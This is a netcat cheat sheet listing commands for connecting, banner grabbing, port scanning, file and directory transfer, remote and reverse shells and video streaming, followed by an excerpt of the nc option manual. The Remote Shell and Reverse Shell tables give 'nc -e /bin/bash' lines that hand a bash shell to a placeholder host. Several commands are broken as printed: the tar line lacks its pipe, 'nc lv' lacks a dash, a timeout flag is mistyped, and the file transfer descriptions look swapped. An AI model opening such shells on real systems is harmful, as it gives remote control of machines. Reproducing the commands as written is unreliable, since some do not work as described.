Netcat Command Cheat Sheet

This resource provides you with the common and useful commands when working with the netcat utility.

Basic Usage

Command	Operation
`nc [option] [host] [port]`	Connect to host connect at the specified host and port
`nc -lp port [host] [port]`	Listen for incoming connections
`nc -lv [port]`	Start the server at the specified address
`nc [host] [port]`	Open a netcat client at the specified address and port

Banner Grabbing

Command	Operation
`nc [address] [port]`	TCP banner grab
`echo "" | nc -zv -wl [address] [port]`	TCP banner grab

Port Scanning

Command	Operation
`nc -zvn [address] [port range]`	Scan the ports in the specified range
`nc -zvn [address] [port1 port2 port3 portN]`	Scan the specified ports

File Transfer

Command	Operation
`nc -lv [address] [port] < filename`	Download the specified file from the the defined address and port
`nc lv [addres] [port] > filename`	Upload the file to the specified address and port.

Directory Transfer

Command	Operation
`tar -cvf - target_dir nc -l [poty]`	Upload the specified directory as an archive
`nc -n [address] [port] | tar -xvf -`	Download the specified directory an an archive

Remote Shell

Command	Operation
`nc -lv [address] [port] -e /bin/bash`	Open a bash shell on the target address and port
`nc [address] [port]`	Connect to a remote shell on the specified address and port

Reverse Shell

Command	Operation
`nc -ln 8000`	Listen on the specified port
`nc [address] [port] -v -e /bin/bash`	Connect the bash shell on specified port and address.

Video Stream

Command	Operation
`cat video_file | nc -l [address] [port]`	Stream the video file ad the specified resource
`nc [address] [port] | player_name [options]`	Play the video stream from the specified address.

Netcat Command Options

The following are some popular command options.

```
     The options are as follows:

     -4      Use IPv4 addresses only.

     -6      Use IPv6 addresses only.

     -b      Allow broadcast.

     -C      Send CRLF as line-ending.  Each line feed (LF) character from the
input data is translated into CR+LF before being written to the socket.  Line feed
characters that are already preceded with a carriage return (CR) are not
translated.  Received data is not
             affected.

     -D      Enable debugging on the socket.

     -d      Do not attempt to read from stdin.

     -F      Pass the first connected socket using sendmsg(2) to stdout and exit.
This is useful in conjunction with -X to have nc perform connection setup with a
proxy but then leave the rest of the connection to another program (e.g. ssh(1)
using the ssh_config(5)
             ProxyUseFdpass option).  Cannot be used with -U.

     -h      Print out the nc help text and exit.

     -I length
             Specify the size of the TCP receive buffer.

     -i interval
             Sleep for interval seconds between lines of text sent and received.
Also causes a delay time between connections to multiple ports.

     -k      When a connection is completed, listen for another one.  Requires -l.
When used together with the -u option, the server socket is not connected and it
can receive UDP datagrams from multiple hosts.
```

```
     -l      Listen for an incoming connection rather than initiating a connection
to a remote host.  The destination and port to listen on can be specified either as
non-optional arguments, or with options -s and -p respectively.  Cannot be used
together with -x or -z.
             Additionally, any timeouts specified with the -w option are ignored.

     -M ttl  Set the TTL / hop limit of outgoing packets.

     -m minttl
             Ask the kernel to drop incoming packets whose TTL / hop limit is under
minttl.

     -N      shutdown(2) the network socket after EOF on the input.  Some servers
require this to finish their work.

     -n      Do not perform domain name resolution.  If a name cannot be resolved
without DNS, an error will be reported.

     -O length
             Specify the size of the TCP send buffer.

     -P proxy_username
             Specifies a username to present to a proxy server that requires
authentication.  If no username is specified then authentication will not be
attempted.  Proxy authentication is only supported for HTTP CONNECT proxies at
present.

     -p source_port
             Specify the source port nc should use, subject to privilege
restrictions and availability.

     -q seconds
             after EOF on stdin, wait the specified number of seconds and then
quit. If seconds is negative, wait forever (default).  Specifying a non-negative
seconds implies -N.

     -r      Choose source and/or destination ports randomly instead of
sequentially within a range or in the order that the system assigns them.

     -S      Enable the RFC 2385 TCP MD5 signature option.

     -s sourceaddr
             Set the source address to send packets from, which is useful on
machines with multiple interfaces.  For UNIX-domain datagram sockets, specifies the
local temporary socket file to create and use so that datagrams can be received.
Cannot be used together
             with -x.

     -T keyword
```

```
            Change the IPv4 TOS/IPv6 traffic class value.  keyword may be one of
critical, inetcontrol, lowcost, lowdelay, netcontrol, throughput, reliability, or
one of the DiffServ Code Points: ef, af11 ... af43, cs0 ... cs7; or a number in
either hex or decimal.

     -t      Send RFC 854 DON'T and WON'T responses to RFC 854 DO and WILL
requests.  This makes it possible to use nc to script telnet sessions.

     -U      Use UNIX-domain sockets.  Cannot be used together with -F or -x.

     -u      Use UDP instead of TCP.  Cannot be used together with -x.  For UNIX-
domain sockets, use a datagram socket instead of a stream socket.  If a UNIX-domain
socket is used, a temporary receiving socket is created in /tmp unless the -s flag
is given.

     -V rtable
             Set the routing table to be used.

     -v      Produce more verbose output.

     -W recvlimit
             Terminate after receiving recvlimit packets from the network.

     -w timeout
             Connections which cannot be established or are idle timeout after
timeout seconds.  The -w flag has no effect on the -l option, i.e. nc will listen
forever for a connection, with or without the -w flag.  The default is no timeout.

     -X proxy_protocol
             Use proxy_protocol when talking to the proxy server.  Supported
protocols are 4 (SOCKS v.4), 5 (SOCKS v.5) and connect (HTTPS proxy).  If the
protocol is not specified, SOCKS version 5 is used.

     -x proxy_address[:port]
             Connect to destination using a proxy at proxy_address and port.  If
port is not specified, the well-known port for the proxy protocol is used (1080 for
SOCKS, 3128 for HTTPS).  An IPv6 address can be specified unambiguously by
enclosing proxy_address in
             square brackets.  A proxy cannot be used with any of the options -
lsuU.

     -Z      DCCP mode.

     -z      Only scan for listening daemons, without sending any data to them.
Cannot be used together with -l.
```

Thanks